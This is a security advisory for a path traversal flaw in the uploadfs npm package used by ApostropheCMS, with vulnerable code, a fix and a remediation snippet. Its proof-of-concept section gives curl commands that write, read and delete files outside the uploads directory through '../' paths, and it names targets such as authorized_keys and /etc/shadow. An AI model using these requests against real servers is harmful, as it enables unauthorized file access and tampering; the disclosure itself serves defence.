All vulnerabilities
CVE-2026-113651GHSA-gmfx-5g6x-rr72

ApostropheCMS: Path traversal in uploadfs

apostrophecms uploadfsnpmLibraries & packages
CVSS
3.3Low
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 20 Oct 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.33%Chance of exploitation activity in the next 30 days, higher than 24% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in1.28.0Fixed versionGitHub
Published20 Oct 2026Updated 20 Oct 2026CVE List

What fixes it

  • 1.28.0uploadfs, npmGitHubnpm install uploadfs@1.28.0

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

---

Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);
  • prefixPath() does not normalize paths or reject ../.
  • The local backend concatenates the path directly into the filesystem call.
  • Node.js resolves /app/uploads/../../../tmp/pwned.txt โ†’ /tmp/pwned.txt.

---

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.

<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

Manual reproduction

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"

<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />

---

Impact

| Capability | Risk | |------------|------| | Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files โ†’ Remote Code Execution | | Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials | | Arbitrary File Delete | Destroy system or application files โ†’ Denial of Service |

---

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}

Text from GitHub Advisory Database

Affected versions 4

  • uploadfs, npm< 1.28.0GitHub
  • apostropheaffected: < 4.33.0CVE List
  • uploadfsaffected: < 1.28.0CVE List
  • uploadfs, npmfrom first release, fixed in 1.28.0OSV

References 5